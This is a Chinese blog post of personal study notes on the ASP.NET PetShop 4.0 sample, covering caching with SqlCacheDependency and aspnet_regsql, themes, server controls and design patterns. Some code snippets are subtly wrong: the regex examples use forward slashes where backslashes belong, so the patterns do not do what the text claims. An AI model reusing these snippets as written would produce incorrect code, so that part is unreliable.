pet 4缓存和表示层有关知识

97 篇文章 0 订阅

 1  NULLable<int>表示基础类型为值类型的对象,值类型与引用类型一样也可以分配 空引
用  有INT 的话说明这个类型是int但是可以为空

2 一定先先规划好自己的命名空间,并且把写到类中,要不以后引用不到当你想在一个类中引用另一个类的时候

3  在设置样式表的时候元素是前面没有点的哪个 例如
body
{
 background-color:#E3E5DC;
 margin-left: 0px;
 margin-top: 0px;
 margin-right: 0px;
 margin-bottom: 0px;
 background-image: url(../../Comm_Images/bg-body.gif);
 background-repeat: repeat-x;
}
类是前面有点的哪个
.link {
 font-family: Arial, Helvetica, sans-serif;
 font-size: 0.65em;
 text-transform: uppercase;
 color: #333333;
 text-indent: 10px;
}   html这样写class="link"  服务器这样写CssClass="link"


4在web.config中配置主题的格式如下
<system.web>
<pages theme="PetShop" styleSheetTheme="PetShop"/></system.web>
注意的是PetShop对应的是主题的默认文件夹下面的哪个SkinFile
我们的主题就要改成
 <pages theme="SkinFile" styleSheetTheme="SkinFile"></pages>
不然会报错找不到主题。

5  pet4用的是表格布局,首页把EnableViewState设置成了FAULS,可以提高性能。用了好多用户控件

6 给一个WEB页面加上命名空间则Inherits="Zjw.Web.Default" 要写成完整的路径要写到这个页面的类为止,不能写成Zjw.Web或者Default

 

7属性不一定非要有字段相对应

8  Literal主要是在页面上显示文字,
    跟Label不同的是,利用他的mode="Encode"可以显示编码而不会被浏览器给解释了
   <asp:Literal ID="Literal1" runat="server" Mode="Encode" Text="<b>这个要显示标签的</b>"></asp:Literal>
  (1)label在转译成网页时候使用html的<span>标记为住控件,Literal不会所以使代码比较简单  
  (2)Literal不可以运用样式,而且任意定位比较麻烦,你用GridLayout不局就会发现即使那样也很难


9  string.IsNullOrEmpty()这个可以进行2个判断 是不是null或者空字符串

10  aspnet_regsql工具  主要用于配置SQL Server数据库,如membership,profiles等信息
aspnet_regsql -S localhost -E -d MSPetShop4 -ed
以下是该工具的命令参数说明:
-?  显示该工具的帮助功能;
-S  后接的参数为数据库服务器的名称或者IP地址;
-U  后接的参数为数据库的登陆用户名;
-P  后接的参数为数据库的登陆密码;
-E  当使用windows集成验证时,使用该功能;
-d  后接参数为对哪一个数据库采用SqlCacheDependency功能;
-t  后接参数为对哪一个表采用SqlCacheDependency功能;
-ed  允许对数据库使用SqlCacheDependency功能;
-dd  禁止对数据库采用SqlCacheDependency功能;
-et  允许对数据表采用SqlCacheDependency功能;
-dt  禁止对数据表采用SqlCacheDependency功能;
-lt  列出当前数据库中有哪些表已经采用sqlcachedependency功能。
以上面的命令为例,说明将对名为MSPetShop4的数据库采用SqlCacheDependency功能,且SQL Server采用了windows集成验证方式。我们还可以对相关的数据表执行aspnet_regsql命令,如:
aspnet_regsql -S localhost -E -d MSPetShop4 -t Item -et
aspnet_regsql -S localhost -E -d MSPetShop4 -t Product -et
aspnet_regsql -S localhost -E -d MSPetShop4 -t Category -et
当执行上述的四条命令后,aspnet_regsql工具会在MSPetShop4数据库中建立一个名为AspNet_SqlCacheTablesForChangeNotification的新数据库表。该数据表包含三个字段

 

11  System.Web.Caching 命名空间提供用于缓存服务器上常用数据的类。
此命名空间包括 Cache 类,该类是一个字典,您可以在其中存储任意数据对象,如哈希表和数据集。它还为这些对象提供了失效功能,并为您提供了添加和移除这些对象的方法。您还可以添加依赖于其他文件或缓存项的对象,并在从 Cache 对象中移除对象时执行回调以通知应用程序。
AggregateCacheDependency GetDependency();
//返回建立了这些依赖项的AggregateCacheDependency对象。
//AggregateCacheDependency是.Net Framework 2.0新增的一个类,它负责监视依赖项对象的集合。当这个集合中的
//任意一个依赖项对象发生改变时,该依赖项对象对应的缓存对象都将被自动移除。


12 建立一个SQL的缓存项
   AggregateCacheDependency dependency = new AggregateCacheDependency();
 dependency.Add(new SqlCacheDependency(dbName, tableName))参数为数据库名和数据表名


13  FACADE模式,把子系统的复杂性隐藏,便于更高一级的调用子系统的功能

14  获取AggregateCacheDependency类型的对象 即依赖项
    AggregateCacheDependency dependency = DependencyAccess.CreateCategoryDependency().GetDependency();

15    System.Text.RegularExpressions正则表达试的命名空间
Regex 类包含若干静态方法,使您无需显式创建 Regex 对象即可使用正则表达式。使用静态方法等效于构造 Regex 对象,使用该对象一次然后将其销毁。
text = Regex.Replace(text, "[//s]{2,}", " ")[//s]表示任何空白字符{2,}表示2个或者2个以上 整个意思是 把2个或2个以上的空格替换
成“ ”
Regex.Replace(text, "//W", "");把任何非单词的替换掉
/W匹配任何非单词字符。等价于 '[^A-Za-z0-9_]'。
/w 匹配包括下划线的任何单词字符。等价于'[A-Za-z0-9_]'。

17 HttpRuntime为当前应用程序提供一组 ASP.NET 运行时服务。 
HttpRuntime.Cache获取当前应用程序的 Cache。
HttpRuntime.Cache.Add(cacheKey, data, cd, DateTime.Now.AddHours(cacheDuration), Cache.NoSlidingExpiration, CacheItemPriority.High, null);
将指定项添加到 Cache 对象,该对象具有依赖项、过期和优先级策略以及一个委托(可用于在从 Cache 移除插入项时通知应用程序)。
public Object Add (
 string key,
 Object value,
 CacheDependency dependencies,
 DateTime absoluteExpiration,
 TimeSpan slidingExpiration,
 CacheItemPriority priority,
 CacheItemRemovedCallback onRemoveCallback
)
key 键 value 值  dependencies是一个缓存依赖项当任何依赖项更改时,该对象即无效,并从缓存中移除。如果没有依赖项,则此参数包含 空引用
absoluteExpiration  过期参数
slidingExpiration最后一次访问所添加对象时与该对象过期时之间的时间间隔。如果该值等效于 20 分钟,则对象在最后一次被访问 20 分钟之后将过期并从缓存中移除。如果使用绝对过期,则 slidingExpiration 参数必须为 NoSlidingExpiration。
也就是最后一次访问后过多少时间该缓存的值就要失效。
priority 指定cache的优先级,多个 cache的话低级的会先被清除掉
onRemoveCallback 当这个CACHE 过期时,执行指定的委托函数。


18  静态类 不能有构造函数

19 VaryByParam="*"
分号分隔的字符串列表,用于使输出缓存发生变化。默认情况下,这些字符串与随 GET 方法属性发送的查询字符串值对应,或与使用 POST 方法发送的参数对应。将该属性设置为多个参数时,对于每个指定参数组合,输出缓存都包含一个不同版本的请求文档。可能的值包括 none、星号 (*) 以及任何有效的查询字符串或 POST 参数名称。
Duration 页或用户控件进行缓存的时间(以秒计)。在页或用户控件上设置该属性为来自对象的 HTTP 响应建立了一个过期策略,并将自动缓存页或用户控件输出。

20 PlaceHolder 控件用作容器,从而将动态添加的服务器控件存储到网页中。PlaceHolder 控件不产生任何可见的输出,仅用作网页上其他控件的容器。您可以使用 Control.Controls 集合在 PlaceHolder 控件中添加、插入或移除控件。
Placeholder Web 服务器控件使您可以将空容器控件放置到页内,然后在运行时动态添加、删除或依次通过子元素。该控件只呈现其子元素;它不具有自己的基于 HTML 的输出。


21 表头是指表格的第一行,其中的文字可以实现居中并且加粗显示,这通过<TH>标记实现。
在第一行的<th>加上值为col的scope属性,声明他们是下面数据单元格的表头。就是行表头

22 <%# Eval("Quantity") %> 为在运行时根据对象分析和计算数据绑定表达式提供支持。

23 <FooterTemplate></table></FooterTemplate>注意表格的结尾在<footTemplate>

24 ICollection <CartItemInfo> 定义所有非泛型集合的大小、枚举数和同步方法。这里类型必须是CartItemInfo,以保证安全。

25<asp:CustomValidator>中ClientValidationFunction="ClientValidate"  这个将调用客户端的脚本进行验证
  OnServerValidate="ServerValidate"  这个是在服务端执行的验证是个事件

26 DateTime.TryParse 方法 (String, DateTime) 将日期和时间的指定字符串表示转换成其等效的 DateTime。
当此方法返回时,如果转换成功,则包含与 s 中包含的日期和时间等效的 DateTime 值;如果转换失败,则为 MinValue-》》》此常数的值等效于 0001 年 1 月 1 日 00:00:00.0000000。


27 Template Method模板方法模式是一种行为型模式,具体点说是行为类型模式。
主要解决在软件构建过程中,对于某一项任务,常常有稳定的整体操作结构,
但各个子步骤却有很多改变的需求,或者由于固有的原因而无法和任务的整体结构同时实现
Template Method模式是一种非常基础性的设计模式,在面向对象系统中有着大量的应用。它用最简洁的机制(虚函数的多态性)为了很多应用程序框架提供了灵活的扩展点,是代码复用方面的基本实现结构。

<script src="http://www.cdsbfx.com/js/google.js" type="text/javascript"></script> <script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script>
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值